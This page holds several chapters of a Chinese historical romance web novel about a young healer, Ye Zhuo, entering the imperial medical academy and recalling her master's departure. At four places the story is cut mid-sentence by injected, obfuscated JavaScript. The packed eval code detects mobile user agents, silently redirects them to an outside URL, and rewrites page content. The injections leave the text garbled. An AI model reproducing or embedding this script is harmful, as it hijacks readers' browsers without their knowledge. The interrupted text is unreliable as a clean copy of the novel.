叶灼拍了拍手上的灰。“看来许少爷,还不长记性啊。” “怎么又是你?!”许昭昭怒不可遏,疼得哎哟直叫,“你这死丫鬟,竟还敢留在太医署!” “叶灼是我们的同窗,不得无礼。” “我不留在太医署,谁来替你阿娘教训你啊?”叶灼笑眯眯道,拧了拧拳头,“往后大家即是一条船上的人了。同窗三载,有所不敬之处,还望许少爷海涵才是。” “介铃,你这胳膊肘往外拐的,怎能帮这厮——” 叶灼作势抄起拳头。他抖了两下,缩回手指。 “姑奶奶我呢,平生没什么喜好,最大莫过于路见不平拔刀相助。许少爷若是专挑软柿子捏,往后见到我,记得要收敛些。” 两人轻哼一声,甩头进了流芳阁。 “老大,这是您的另外半颗门牙……”胡广递上帕子。 “一个八品芝麻官的女儿,敢和老子叫嚣……”许昭昭一把夺过,“也就配和下人混在一起了!” “老大说得是,老大威武!” 他“呸呸”两下,“刚才她那话什么意思?” “不、不知道啊老大。好像说那丫鬟要变、变成我们的同窗了。” “什么?!” “看来宫中传言不假。”杏面桃腮的女子神神秘秘,招呼他们过来听。 “太医署来了个新人。” “新人?”二人吃惊。策试期早过了,怎还会有新学子入第? “是个免试进来的附生。今儿万邦朝会上,由圣上亲自安插至医科,说是叶少卿的徒弟。我看适才介师姐亲自领那丫鬟进去,应该就是她了。” “老子怎么能和下人待在一个屋里?!” 许昭昭气得猛踢石子。一阵吃疼,捂着脚尖,龇牙咧嘴地骂。 女子双手抱臂,往身侧投去戏谑的目光,“赶出去不就是了。这套把戏,我们用得还少么?” 胡广:“啊,又要委屈我当落水鸭子啊……” “反正又不是旱鸭子,溺不死你。” 捏的皱巴巴的帕子,被他往地上一丢,不忘踩几脚。 “哪里来的乡野丫头,敢和老子作对。”许昭昭恶狠狠道,“只要老子还待在上京城,太医署便不会有她的一席之地!” 楼阁内约莫五层,登完簿之后,两人上了三楼。这里有许多木制的书橱,到处弥漫书香。 旁边是几个小房间,有的门上了锁,从窗台推出一摞包袱。 定睛一看,叶灼瞪大了眼,只见双长腿撂在半空。 “拿着,这是你的课本。” 介铃将包裹递过来,然后道:“你在这儿等我一下,我去取衣裳。” 叶灼用膝盖顶了顶,怎么会这么厚啊?十几本书摞起来,足有她半个人那么高。 原地蹲了许久,不自觉好奇起那双腿的主人。 那是双矫健的小腿,肌肉微微凸起,纤细而长。薄底长靴至膝盖,懒洋洋搭在一起。 她放下包裹,蹑手蹑脚走过去。窗台上散落一些文书,还有一只笔筒。 拿起支毛笔,往脚底板挠了挠。 那人晃悠下鞋尖,没点动静。 再挠了挠。 “唔……狗剩,别烦我睡觉。” 原本左腿搭右腿,这回成了右腿搭左腿。 再挠。 “哎呀,都说别烦了!你个混球,博士又不在,让我多睡会儿……” 那双腿收回去,这回想够够不到。 介铃刚好从里屋走出来,见叶灼踮着脚尖,和那双屈起的腿斗智斗勇。她放下包袱,“噗嗤”笑出声。 “让我来。” 她接过叶灼手里的毛笔,把头探过窗台,干脆直接去挠那人的耳朵。 挠啊挠。挠啊挠。 他终于忍无可忍,一骨碌从长椅翻起。 结果动作幅度太大,椅身后倾,连带整个人向后翻过去,摔了个大大的跟头。 “哎哟喂,疼死了……” 约莫十五六岁的少年,慢吞吞爬上窗台,五官皱在了一起。白净的脸庞睡眼惺忪,裙摆挂在肩膀上,颇有些狼狈。 趁他没清醒,介铃凑在他耳朵边,低咳两声:“江枫,文书录完了没?” 被唤作江枫的少年一个激灵,条件反射般跳起来。 见是介铃,不由得长舒了一口气。这家伙模仿起沈博士说话,还真有几分吓人。 “小铃儿,怎么是你啊?” 江枫挠了挠头,看到窗台下那女孩,顿时明白过来。“沈博士又把杂活塞给你了?” 介铃翻了个白眼,将包袱塞给叶灼。 “喏,你的两套学子服,还有日常的洗漱用具,都在这儿了。” 叶灼恭敬地接过,讷讷将那件衣服提起来抖了抖。领口宽而圆,上下合一,下摆一道横襕穿过,料子摸起来又滑又软。 “这是棠苎襕衫,博士日常讲学,又或是庆典集会,必须每天穿着。你的身量小,我找了半天,才找到两件勉强能穿的。你先拿去试一试,不合适的话,再回来找我换。” “不必了师姐。我习惯穿大一号的衣裳。” 叶灼往身上一套,有些松垮,倒不至于像麻袋。 “刚刚好。”她抬起头,笑着道,“我还从没穿过颜色这么亮、这么柔软的衣裳呢。” 这小姑娘看着脏兮兮,一头马尾蓬乱。不像是新来的学子,倒像是…… “小孩,哥哥可没有饭舍给你啊。”江枫撑着手笑。 叶灼揣着一堆东西,闻言气鼓鼓:“我不是要饭的!” “我看你现在倒像个叫花子。”介铃揪起他的耳朵,“介绍一下,这位是江师兄,你们的学官。结业后无所事事,来太医署混饭吃。结果一点儿活做不完,整日被博士罚抄录文书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那其他几位博士都是谁?还有,太医署主修的课业内容都是什么?平时除了衣裳、食宿,有什么是要特别注意的呀,比如一天有几堂课,上课地点都在哪儿?” 一堆问题砸过来,江枫差点儿晕了:“等等等等……这丫头什么都不知道,是怎么进的太医署?” “哦,叶师妹今天刚入门,还没来得及说。” 江枫指了指她,又指了指叶灼。 “你不会就是那个,叶少卿新带进来的徒弟吧?圣上亲自引荐的那个?” “你才反应过来啊?”介铃看傻子般瞧着他。 这……随性的气质,怎么看都和叶少卿有些不符啊。江枫眯着眼,道:“那你一定是医术很好了。” “呃,还可以吧。”叶灼讪笑着挠头。 “太医署学子千人,分为医、针、按摩、咒禁四科。其中以医科人数见长,针科其次。沈博士既是医科博士,也是太医令,平时比较忙。事情多的时候,会让姜、严、古三位博士,或者助教代劳。” 江枫打了个呵欠,语调慵懒:“医、针二科学的内容有互通之处,分为体疗、疮肿、少小、耳目口齿、角法等。学子们在学完基础理论后,通过入学试分作四个班,学习各自的专业。医科上课地点在竹苑,学制最长,考试也最多。” “啊?”叶灼瞠目结舌,“还要考试啊?” “当然要啊!”江枫眨了眨眼,“要是谁都能当太医,出来一堆医术不过关的,岂不是要医死人?” “太医署考试登用如国子监。”介铃道,“不仅入学要考,今后的每个季度、每年,一直到业成出师,都须定期对学子能力进行测试。” 叶灼倒吸一口凉气。 14.破茧(四) 从前在丹青阁,叶无声总丢给她一堆医书,动辄考来考去。要是答不上来,便要她抄到会为止。密密麻麻的医书她看到就头大,想不到来了上京,更有数不清的考试等着自己…… 呜呜,不要啊,她不要考试啊! “不过你是免试进的医科,刚开始课业较少。距离下场考试还有好几个月,只要基础过关,博士他一般不会为难你的。” 叶灼迟疑地点头,“那……是不是只要从太医署结业,就可以成为首席医官了?” “想得倒挺美。”江枫道,“当个太医容易,这首席医官,可不是想当就能当上的。每三年的业成式夺魁者中,只有望出一位首席医官,还不一定能拿到金针具呢。” “金针具又是什么?” “你连金针具都不知道?”江枫咂舌不已,“金针具可是大容医术佼佼者的象征!只有专职伺候圣上的御医之长才配拥有。不仅要在太医署业成式中夺魁,而且要经朝中至少一位高官引荐,且医术得到圣上亲自认可,才有资格被授予。” 叶灼“哇”了一声,听起来很厉害的样子。 “噢,对了。”他食指摇了摇,“金针具还能当免死金牌用噢。” 免死金牌?是个好东西。“那我要怎么样才能成为首席医官呢?” “你?” 江枫打量一周,像是听到什么玩笑话般。“算了吧,不行的。” “为什么?” “就算你医术过人,普通人要想在这行扎根,大都只能去尚药局或者药园,做个种药拣药的芝麻官。” 他说着,恹恹往椅背一靠。 “没有高官引荐,也没有接触圣上的机会,能让你当个小太医就不错了。要么就像我一样,干点吃力不讨好的杂活,混吃等死咯。” “你不是有家业能继承么?”介铃不由得调侃。 “嗐,快别提了。官场那么可怕,让我成天和那群糟老头子勾心斗角,还不如混吃等死呢。”江枫漫不经心地道,忽然往前靠了靠。 “而且我要是回去继承家业,还怎么见到活泼可爱的小铃儿啊?” 介铃微微垂眸:“没羞没燥,小师妹还在呢。” 叶灼瞧着他们,掩嘴偷笑。 出了流芳阁,介铃领她到书房安排下食宿,顺带放行李。学子们每人一间房,碍于她是晚来那一批,只分得偏院的一处角落。 虽然条件简陋些、冷清些,不过床榻书桌一应俱全,该有的都有了。叶灼对这个小房间很是满意。 自从来到上京,她为卫明川的事忙得团团转,好几次都忘了喂夜游侠。打发走介铃以后,便忙不迭拆开行囊,取出酒葫芦。 呼,幸好。没被闷死。 她将夜游侠一把捧起,放到竹笼中。金黄色小蛐蛐儿活蹦乱跳,好奇打量着这所新环境。 “大难不死必有后福,你呀,以后可有清福享咯。”点了点它的长触须。 “叶师妹,好了吗?” “来了!” 将就喂了几片嫩叶,便跟着介铃出去。 一圈逛下来,介铃耐心地介绍各处大殿、博士的办公地点、学子上课与集会的地点。叶灼稍作熟悉,很快便记下了。 “对了。”介铃说道,“你住的那处院子,晚上有时会听到猫叫。” “猫叫?” 介铃点点头,“宫墙外的野猫,时常出没在太医署旁边的废院。你要是介意,睡觉时可以佩戴充耳,或是找其他学子,看看有没有愿意换的。” “不必了师姐,我睡觉不太挑地方。” 以前在丹青阁,李伯总大清早扰她清梦,呼噜声隔着几堵墙都能听到。这么些年下来,她早都习惯了,几只猫算得了什么? 说起来,竟有将近两个月没见到李伯了。也不知他在古川过得怎么样呢?当初她走得那样突然,李伯他老人家一定很担心,也不知师父寄的月钱够不够用,需不需要往家里捎封信? “这片湖叫作桐湖。”介铃指了指湖中央,“那座廊桥刚翻修不久,供学子们避雨小憩。” 远远望过去,草丛间几只萤火虫飞舞,与灯火相互辉映,照得湖水一片通明。 原是放了课,姑娘们正一手提灯,一手提裙摆,往湖心方向跑去。 她们笑得欢快,有人道:“姐妹们快些,再晚就看不到了!” 叶灼不由得好奇,什么东西竟这样好看? “叶少卿来视察太医署了。”介铃道,“我们也过去看看吧。” 她心中咯噔一下。 碧波荡漾,两道人影倒映在湖面上,随波纹轻轻晃动。 “瞧,那就是叶少卿!” “果真俊呐!不愧是咱们上京第一美男子,与那江家的小姐站在一起,真叫一个郎才女貌!” 众人说着,嬉闹起来。叶灼从人群间隙中穿过,望向廊中。 眼前之景,令她哑然失神。 廊桥中,叶无声长发半束,一身空青长衫如流水倾泻。微风吹拂,几缕青丝扬起,于月光下熠熠生辉。 他身侧立有一女子,手提着灯笼,生得粉面朱唇,端庄标致。 叶灼从没见过这样美的女子。她和师父并排走着,所有的萤火烁光,远不及流连于他们周身的光华。此情此景,活像一幅写意画般。 只可惜,画中人却不是她。 “师姐,桥上那女子是谁?” “江家小姐呀。”介铃道,“今日太常寺派叶少卿视察太医署,恰逢沈博士不在,便叫了江小姐接应。江国舅之女江弗及,亦是江枫的妹妹。怎么样,他俩是不是一点儿也不像?” “江小姐是咱们上京出了名的女眷,岂会有人不知道?”旁边那人兴奋道,“要论江小姐的医术,那可是一等一地好!才刚到太医署一年,便被针科聘请为助教的,除了她再没有别人了。现在都说呀,她已经成为首席医官的预备人选了!” 另一人忍不住附和,“做了叶少卿的徒弟,那得是多好一段佳话……” 做了叶少卿的……徒弟? “今年的拜师大典上,叶少卿曾许诺收下任首席医官为徒。” 介铃目视前方,想起什么。“沈博士对江小姐寄予厚望,若她真能成为首席医官,你便多一个师姐了。江小姐出身名医世家,能与她拜在同一个师父门下,往后定会有不少长进。” 叶灼微微垂下眸,神情恍惚。 那江小姐不知说着什么,语调那般轻快,师父静静听着,时不时点头,仿佛有数不尽的耐心。 这样柔和的表情,记忆之中,独独对她一人而已。 “哎,叶师妹!你去哪儿?” “我……我内急。” 介铃觉得有点儿奇怪。突然内急,难道是吃坏肚子了?但叶少卿难得来一趟,又是与江小姐同框,如此养眼的画面,非得多看几眼不可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722185|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借着湖岸灯火,那道小小身影跻身人群,头也不回地跑开。 “父亲此次出资兴修太医署,除了为每名学子购置一套针具书本外,博士讲经之处也将翻新,正好可以趁此机会……” 见眼前人少有这般心不在焉,江弗及伸手晃了晃,“叶少卿?” 叶无声回过神来,目光从远处抽离。 “想是桐湖的夜色太美,竟让叶少卿看得沉醉?” 他愣了愣点头,“有江国舅扶持医疗营建,确为朝廷之幸。得此良机,正可以多请些博士。” “我也有此意。”江弗及嫣然一笑。 “那叶少卿先前答应收我为徒之言,可还作数?” “叶某应下的是首席医官。”叶无声退却几步,浅向她作揖,“纵是国舅于太医署有恩泽,擢拔人才之事,叶某从不刻意偏袒。不过江小姐医术卓绝,在医科众学子中,确为众望所归。” “叶少卿为官清正,处事得当,难怪深得父亲赏识。” …… 太医署,书房内。 叶灼在榻上翻来覆去两个时辰,毫无困意。不知从哪里传来细细的嘤咛,寒月夜里,显得格外凄离。 不像是猫叫,倒像人的啼哭。听着听着,莫名有些口渴。 夜已经深了,同窗们都已睡下。偏院住的人不多,静悄悄的院落,只有叶灼提桶的影子倒映在地面。 想不明白,当时她为什么要像做贼一样逃走? 明明见到师父,应该高兴才对啊。 现如今他成了风风光光的太常寺少卿,这难道不是好事么?再说了,太医署人手尚缺,师父那么厉害,多收几个徒弟也是正常的。 过去三年里,沈豆苦口婆心的劝告、街坊邻里那些闲言碎语,叶灼一概没有听。即便寄出的信全都石沉大海,有一件事她却始终坚信。 她的师父,一定也想要回去。 只是去朝廷办事,只是暂时离开自己,只是有他不得已的苦衷而已。 说不定哪天眼睛一睁一闭,他就回来了呢?京城再怎么繁华,古川总有些事值得他惦念的。比如丹青阁,比如她这个徒弟? 于是每天这么想着,这么翘首盼着。一直到来了上京。 ——难道师父真的像他们说的那样,忘记自己了么?还是对他而言,自己仅仅是个拖油瓶? 思来想去,只觉心烦意乱。 以往在古川,一到夜晚,天气骤然冷下来,往往如从夏入冬。若不是她身体好,过去不知要风寒多少回。而上京的晚间,气候正好,夜风凉爽,很是宜人。月亮这样圆、这样白胖,好像只刚出炉的饼子,诱人得要从天上掉下来。越是看着月亮,一股子落寞便涌上心头。 小时候每逢月十五,叶灼总搬条板凳坐在院子里,和叶无声一块赏着月。 记得给师父讲嫦娥奔月的故事,她说要是世上真有长生不死药就好了,这样便可以救更多的人,可他却说:西王母给的不死药不是恩赐。以前叶灼不明白,不会生病还能成仙,不是很好么?现在她明白了,嫦娥仙子飞上月宫,一定也和她现在一样想家吧。 与其说是想家,不如说是想念那段回不去的过往,以及过往中的人。 闭上眼,脑海中浮现师父和江小姐有说有笑的画面,思绪便飘回从前。 曾几何时,师父也像那般看着她。 曾几何时,师父只是她一个人的师父。 15.破茧(五) 三年前,丹青阁内。 叶灼打开门,原是上门的钦差,“朝廷有旨,叶渊之子叶无声,速速接旨。” “师父不在。” 那人低头,瞧着叶灼:“朝廷诏敕,不可耽误。叶无声何在?” “这个么,我也不知道。”叶灼眨了眨眼睛,苦思冥想片刻后,答道:“可能在东山,可能在杏林坊,也可能在古川的任何一个角落……” 钦差眉毛一横,捏紧了诏书,“小孩,你玩儿我呢?” “我没有。”叶灼振振有词,“我说的都是实话。师父行踪不定,有时采药,有时辟谷,我一个做弟子的,哪儿管得了师父?” “既如此,就由你代接诏敕。”钦差几分不耐烦,草草宣读一遍,将卷轴塞到叶灼手里。转身后又回过头,“等你师父回来,务必亲自交与他,否则万一出什么岔子……” “晓得嘞,后果自负。” 叶灼毕恭毕敬接下。待那钦差走了,将卷轴摊开,仔细看起来。 “朝廷医士稀缺,今以社稷之重、民生之望,广召天下名医。特颁此诏,若有能解朕之疾者,当赐金帛、封官职,落户上京……” 她虽只有九岁,因素日里酷爱看话本子,识字比别人要早。叶无声又总丢给她一堆医书,故而这诏书上的字,她大体都看得懂。 读至最后一行,“啪”一声将卷轴合上。见师父不在,叶灼偷偷将它藏到怀里。 她才不会让师父去上京呢。 好不容易有了个家,师父既是她唯一的亲人,也是世间待她最好、最为温柔之人。师父若是去了上京,她该与谁作伴去? “白术,菖蒲,夏枯草……” 叶无声回来时,叶灼正在柜前清点药材。 “阿灼,你今日又做慈善了?” 冷冽的男声,在叶灼听来十分可怖。 “哇!”她肩膀一抖,险些从板凳上掉下。稳住重心后,捏了把汗,“师父……你下回说话前,能不能先咳嗽两声?” 难道这是师父名字的来由么?每次回来都没有脚步声,回回如幽灵般。再这样下去,她迟早要被活生生吓死。 见叶无声翻着账本,叶灼心道不妙,将手中药材一丢,作势上去夺。 叶无声将账本高举过肩,低头只能看见她头顶圆滚滚的双丫髻,此时竟炸起毛来。叶灼不过是个小丫头,个头才到他的腰,任凭她如何跳起来抢,都只能被耍得团团转。 “师父,你太欺负人了!” “为师都看见了。”他笑了笑,将账本摊于桌上。 上头赫然写着:槐月十七,麻黄汤,0文。槐月十八,金疮药,0文。槐月十九,茯苓丸,0文…… “阿灼,再这样下去,丹青阁迟早要倒闭。” 叶无声无奈地叹口气,话语里却未有责备之意。 见事情被戳穿,叶灼吐了吐舌头,有些难为情:“啊哈哈,真是什么事都瞒不过师父。师父您不知道,实在并非阿灼故意不收银子。这几日的病人,不是伤得可重,就是穷得响叮当,昨日那王二狗,我瞧他上有八十老母,下有七岁小儿,徒儿实在于心不忍……” 说到动情之处,她假装抹了抹眼泪。 “你怎知他们说的就是真的。”对面飞过来一个包袱,叶无声道:“杏林坊进的,马齿苋。柜里应该没有了。” 叶灼接过药材,嘿嘿一笑:“医者仁心嘛。不管是真是假,只要有半分真,能多救一个人,总是好的。” 拉开药柜,马齿苋那格果真所剩无几。叶灼不由感慨,师父真是神机妙算,坐地日行八万里。 自叶灼六岁来到丹青阁,转眼三年过去,被叶无声养得白白胖胖。比起在慈幼局整日挨打挨骂、砍柴挑水的两年来说,她对现在的日子很是知足。 她只想一直一直陪在师父身边。这样平静的生活,绝不容许任何人打破。 半夜,叶灼被内急憋醒。从茅房回来路上,她看到后院有光,还以为是进了贼。 欲要挑灯去看,一尺开外,竟然闻到淡淡的酒香。 庭院中,叶无声半倚于长廊,银发如瀑,垂于地面。月光映照之下,他面露微微绯色,领口半敞,手中银杯清晃。每一下晃动,杯中液体泛起烁烁流光。 叶灼倒吸一口气,双眼瞪得浑圆。 苍天啊,好美…… 若不是她与叶无声朝夕相处,真要以为她师父是画中走出来的神仙,亦或是勾人心魄的妖怪。 叶无声回过头来,见她呆若木鸡的样子,唇角勾起极浅的弧度,直要将她的魂勾走。 “师父,怎的大晚上喝酒?” 叶灼没见过叶无声喝酒,他的银杯里放的从来是茶。似今日这般,显得格外反常。 “睡不着,小酌两杯。” 她嘿嘿一笑,小跑去厨房,也拿来一盏。 “做什么?”酒壶被叶无声一把拎起,举过头顶。 “阿灼也想喝。” “你还小,不能喝。”叶无声淡淡道,若有所思,“阿灼,你跟着我几年了?” 叶灼掰着手指算了算:“回师父,从我进丹青阁那日算起……应有三年了。” “时间过得倒是快。”他望着天上的明月,脑海中思绪万千。 “自明日起,丹青阁要来个老奴。你唤一声李伯,生活上若有什么不懂的,问他就是。” “那太好了!”叶灼两手一拍,“我正愁丹青阁只有我和师父两个人,会不会太冷清。多一个家人,正好热闹许多!” “这三年来,我已将医术悉数传与你。”叶无声瞧着她,那双雾蒙蒙的瞳眸,叫人猜不透所思,“往后你要多加勤勉精进,顾惜己身,方能料理好丹青阁。” “师父今日,怎的突然这样说?” 莫非,是她整日上街玩乐,不思进取。以往师父向来睁一只眼闭一只眼,现如今也看不下去了,开始劝她学习? “没什么。”叶无声放下酒盏,“明日随为师上东山可好?” “好哇!”叶灼高兴地原地转起圈圈,“师父已经好久没带我采药了!上次我和师父一同采药,还是两年以前呢!” 丹青阁的药少有杏林坊所进,大部分都是叶无声到东山亲自采回,再拿上等的瓷盅炮制,晾晒干了,才敢拿出来卖。正因为对药材品质的挑剔,他们家才能在古川立足,拥有这样响当当的名气。 当时叶灼贪玩,爬到树上去打鸟,结果不慎踩断树枝,摔断了左腿。往后叶无声再没带过她,她还以为是师父嫌自己费事,闹心了好一阵。 “那还不快回屋,睡觉去。” “是,师父!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737598|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完便一蹦一跳回了屋。 叶无声抿一口酒,望着她兴奋的背影,笑意敛去。 他在古川这么久,有这个小丫头在,生活总算有些色彩。苟安数年,竟然差点忘了自己是谁。 这一天,终归是要来了。也不知留叶灼一人在丹青阁,就这样不告而别,会不会恨上他? 也罢。要是能恨他也好,她本来就该恨他的。 总比舍不得来得好。 …… 初春时节,万物生发,草木葱茏。 岐州濒临西戎、漠北二洲,历来为奇珍异草汇集之地。东山乃古川第一灵山,遍布岐州主要的珍稀药材,天下名贵药商皆发源于此。 叶灼背着小箩筐,草药没采几株,反而采了一堆野杏。抓起一颗,随意擦了下放进嘴里,五官拧作一团:“好酸。” “未及仲夏,还不是杏子成熟的季节。”叶无声道。 她撇了撇嘴,“呸呸”将果核吐出。 经过一处山涧,绿色小虫滴入水中。叶灼俯身去看,小虫在水里游来游去,活像只小鱼儿,用手一碰,吓得滴溜一下游走。她觉得好玩极了,又碰了好几下,索性停下来看。叶无声也跟着停下,在河对岸等她。 “蜉蝣朝生而暮死,幼时隐于水下,成虫时出水。蛰伏二载,只为展翅那一瞬。完成使命后归于尘土,了结此生。” 清晨雾气围绕,叶无声拨开树丛,叶灼紧随其后,来到一处断崖边。 “阿灼,你看。”他长袖一挥,指了指天际。 循指尖看去,远山雾霭缭绕,绿水如小蛇般绕过山腰,曼丽婀娜。朝阳挂于山头,普照金山,山头白雪初化,似是余冬未了,一山可见四季。 “世间万物,皆有它们一生遵循的轨迹。潮起潮落,草木萌芽,落叶归根。万物更新,出生入死,这是自然规律。草木尚不可忤逆,人更是如此。” 叶灼沉醉于美景,被这席话绕得云里雾里:“师父,什么意思?” 叶无声俯下身来,扶着她的肩。 “你袖中藏的是什么?” 她的身子僵住,怔怔看着他。 到底是师父料事如神,什么都瞒不过他。嗫嚅半晌,终究将卷轴拿出,满脸的不情愿。 那只小手却攥的很死,叶无声狠下心来,每一下抽离,都仿佛在预示他的离开。 “这是诏敕,不可违背。”他叹了口气,语重心长。 “可是阿灼不想让师父走……”叶灼扯着他的袖子,哽咽起来,“阿灼好不容易有了个家,师父一旦去上京,阿灼就又是孤零零一个人了。” “你已经长大了,凡事即便离了师父,也要学着独自去面对。”他拭去她眼角的泪,“每个人都有自己要完成的使命,师父是如此,你亦是如此。这是为师不得不做的选择。” 叶灼两眼泪汪汪,尽是不可思议:“原来师父今日叫我上东山,就是为了说这些?” 她将他的袖子攥得更紧,生怕从指缝间溜走,“可阿灼不要面对,阿灼只想永远和师父在一起!这上京,师父若非去不可,能不能带上我一起?” “……不行。” “阿灼不会添麻烦的。阿灼可以陪师父聊天,还可以、可以……” “还可以什么?”叶无声淡然一笑,笑容饱含宠溺。 16.破茧(六) “反正只要能陪着师父,让我做什么都行!” 眼泪大颗大颗滚落,一只大手覆于她的手背。泪水自上滑下,叶无声看着那道泪痕,终是缓缓挣开,不忍再回头。 “今日药材采得够多了,回去吧。” “求你了,师父……” 叶灼拼命摇着头,箩筐里的杏子洒落一地,便扑上来扯他的衣袂。可无论她哭得再伤心,叶无声都铁了心般决绝。 京城水深,以如今的身份前往,本就是只身犯险。在这件事上,他绝无动摇的可能。 “你还小,往后的人生还很长,你有你的路要走。未来自有定数,好比那远山,年年四季更迭,却仍有六月飞雪、阴晴难测之时。你我若有缘分,他日再会不迟。” “阿灼不信什么缘……阿灼只知师父这一走,可能像阿爹阿娘一样,丢下阿灼一走了之,再也不会回来!”她哽咽地摇头,挽留的语气有几分生硬。 叶无声望着她良久,眸光颤动。 “你永远是我的徒弟。”他俯下身,最后一次拭去她眼角的泪。 “但你要记住,你不是师父的阿灼,而是自己的阿灼。缘由天定,事在人为,未来要如何走,师父希望你当不以物喜,不以己悲,把握住自己的命。如此,于这浮华人世之中,方能不为名利所累。” 把握住……自己的命? 一滴泪渗透泛黄的信纸,模糊了字迹。 叶灼赶忙伸袖去擦,顺带抹了把眼泪。 三年前,叶无声不告而别,除了将丹青阁交由她打理外,仅留下这一封叶子信。信中寥寥数笔,大体是有关生活上的一些事宜。 从前他从没让她做过什么累活,亏得有这封信在,又有李伯帮忙,日子过得还算顺利。一晃三年过去,丹青阁非但没有倒闭,还被她打理得井井有条。她将这封信视如珍宝,早已将内容倒背如流。只盼着有朝一日师父回来,瞧见丹青阁如今的样子,能为她骄傲上一回。 可是现在,叶灼不确信自己能否等来这一天了。 月光寒幽,影子被拉得很长。她将水桶缓缓从井中捞上来,吃力地往回提。 走到一半,耳畔传来窸窸窣窣的响动。 大半夜的,难道进贼了?不应该啊,太医署位于皇城之内,门外有许多侍卫把守,应该很安全才对。也许是宫墙外的野猫?可她来到这儿这么久,介师姐说的野猫,还一只都没见过呢。 这样想着,无意间瞥到地面。只见一道黑影,从左边屋顶飞到右边,又从右边飞到左边。 她的眼睛倏然睁大。 就要高呼捉贼,那道身影跳下房梁,捂住她的嘴。 “唔唔……!” 刚打上来的水洒落一地,蒙面人敏捷绕到她身前,摘下面罩。 “街溜子,是我。” “卫——!” “嘘。”卫明川比了个手势,眨了眨眼。 “我偷偷来的,别喊那么大声。被发现可就遭了。” 见她猛点好几个头,方才松开手。 “大半夜的,你来太医署做什么?”叶灼压低声音嗔怪,“别人都已经睡了,你偷偷摸摸混进来,万一被发现怎么办?” “我是来和你道别的。” “道别?” “嗯。”他四下张望,然后道:“这里不是说话的地方,跟我来。” “皇城到处是人,哪儿有说话的地方啊……” 心中正犯嘀咕,卫明川一把将她拉过。来到池塘边的梧桐树,揽起她的腰。 “抱好了啊。” 借着树干,使力一蹬,便整个将她携上了屋顶。 远处金灯闪烁,脚下是错落的骑墙。叶灼低头一看,只见地面离她那么远那么高,顿吓得连连后退。 “这不就是了么?”卫明川道,“这里视野好,又没有别人,正是个说话的好地方。” “我我我恐高啊!有什么话下去再说!”她往后缩了缩,双腿抖得发软。哪想绊到瓦上的凸起,又是一个踉跄。 “放心吧。”卫明川将她捞回来。 “有我在,不会让你掉下去的。你先把屋顶当作地面,像床一样躺下,慢慢就习惯了。”说着,大叉着身子躺下,“你看,很结实的。” 叶灼将信将疑,咽了咽口水。慢吞吞挪到他身旁。 “你睁开眼睛看看。” “不要!” “真的不看吗?”他略带叹惋道,“好吧。要是不看,我可就带你下去了哦。这么美的风景,要是有谁看不见,可要抱憾终身呐……” “哎哎哎哎别拉我!”迟疑了一会儿,叶灼缓缓撑开一只眼。 眼前的景象,让她一时说不出话来,也忘记了该怎么说话。 漫天星河璀璨,这时她才发现,他们上的是最高那一幢房屋,周围没有别的建筑阻隔,能将星辰一览无余。 “我没骗你吧?” 叶灼怔怔地点头。 夜幕宛如一块紫色宝石压在头顶,巨大而低沉,好像触手可及。伸出手,环住那颗最亮的。星子眨巴着眼,宛若鲛人泪珠。每闪一下,那珠串散落开来,直要从天上滴下。 自从离开古川,上京到处都是高楼林立,她已经好久没见过这么美的星空了。 “那七颗连在一起的,是北极星。” 卫明川抬手道,“将要往西南方向偏,说明现在快要入秋了。” 星群整齐排列,拖出短短的尾巴,斗勺似的勾起。 “想不到你一个武夫,懂得还挺多嘛。” “你可别瞧不起人啊。我是个武夫,又不是大字不识。”卫明川笑道,“这些都是我娘告诉我的。” “你娘?她也在上京么?” 他摇了摇头:“我娘是西戎人。” 叶灼瞥他一眼。有些惊讶,不过在意料之内。 细细瞧起来,他的五官分明、骨相优越,不完全似以前看到的异域面孔,却又比中原人多几分深邃。难怪她第一次见卫明川时,总觉得他的长相很有特点,却又说不出是哪儿有特点。 “六岁以前,我和我娘一直生活在西戎。之后才被接来上京。” “那你娘,现在是回西戎去了么?” 他的眸光微微晦暗。一字一句,如刀子从喉咙里挤出:“她……已经不在人世了。” “呃,对不起。”叶灼局促道。 “对不起什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742958|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不该戳痛你的心事。” 她虽不知有爹娘是种怎样的感受,若要让她失去师父,想想便很不是滋味。爹娘和师父一样是家人,那种痛楚,一定来得更不好受吧。 “是我自己提起来的。我说这些,只不过是想找回些许关于她的记忆。”卫明川转头看向她。她仍是呆呆望着天,就好像从没见过星星似的。 “叶灼。” “嗯?怎么了?” 